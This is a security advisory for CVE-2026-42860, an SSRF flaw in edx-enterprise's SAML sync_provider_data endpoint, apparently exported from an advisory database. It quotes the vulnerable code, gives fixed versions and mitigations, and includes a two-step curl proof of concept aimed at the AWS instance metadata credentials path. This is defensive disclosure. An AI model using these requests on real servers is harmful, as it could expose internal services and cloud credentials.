edx-enterprise
Affected
- introduced
7.0.2, fixed7.0.5(ecosystem)
Fixed versions
7.0.5
Fix
- Fixed version
7.0.5pip install --upgrade edx-enterprise==7.0.5
Advisory
Also known as: CVE-2026-42860, PYSEC-2026-58
edx-enterprise has SSRF via SAML metadata URL in sync_provider_data endpoint
Summary
The sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout.
This vulnerability was introduced when the SAML admin viewsets were migrated from openedx-platform into edx-enterprise. A related fix for the equivalent fetch path in openedx-platform (the fetch_saml_metadata Celery task) was applied in GHSA-328g-7h4g-r2m9.
Details
Vulnerable code path:
enterprise/api/v1/views/saml_utils.py:
def fetch_metadata_xml(url):
log.info("Fetching %s", url)
if not url.lower().startswith('https'):
log.warning("This SAML metadata URL is not secure! (%s)", url)
response = requests.get(url, verify=True) # No IP/scheme validation
response.raise_for_status()
enterprise/api/v1/views/saml_provider_data.py:
@action(detail=False, methods=['post'], url_path='sync_provider_data')
def sync_provider_data(self, request):
...
metadata_url = saml_provider.metadata_source # set via SAMLProviderConfig PATCH
xml = fetch_metadata_xml(metadata_url) # triggers the fetch
Missing protections:
127.0.0.0/8) or link-local (169.254.0.0/16) rangesProof of Concept
Prerequisites: Authenticated user with Enterprise Admin role for any enterprise customer with a configured SAML Identity Provider.
Step 1: Set a malicious metadata URL via the provider config endpoint:
curl -X PATCH 'https://<instance>/auth/saml/v0/provider_config/<pk>/' \
-H 'Authorization: Bearer <JWT>' \
-H 'Content-Type: application/json' \
-d '{"metadata_source": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
Step 2: Trigger the server-side fetch:
curl -X POST 'https://<instance>/auth/saml/v0/provider_data/sync_provider_data' \
-H 'Authorization: Bearer <JWT>' \
-H 'Content-Type: application/json' \
-d '{"enterprise_customer_uuid": "<uuid>"}'
The server fetches the AWS metadata endpoint. Even though XML parsing will fail, the HTTP request is made and timing/error differences confirm reachability of internal addresses.
Impact
An Enterprise Admin can use this SSRF to:
Enterprise Admin is a delegated role typically granted to corporate training managers, not platform operators. It should not grant the ability to make the server issue arbitrary outbound HTTP requests.
Patches / Mitigations
Call validate_saml_metadata_url() (importable from common.djangoapps.third_party_auth.utils as of the openedx-platform fix in GHSA-328g-7h4g-r2m9) in fetch_metadata_xml() before calling requests.get(). A request timeout should also be added.
Operators should additionally enforce network-level egress filtering to block outbound connections from the Open edX server to 169.254.0.0/16 and RFC 1918 ranges as a complementary control, particularly to cover hostname-based URLs that cannot be validated at the application layer.
High Basis: The source's own band: HIGH
7.0.2, fixed 7.0.5 (ecosystem)7.0.5
7.0.5pip install --upgrade edx-enterprise==7.0.5Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0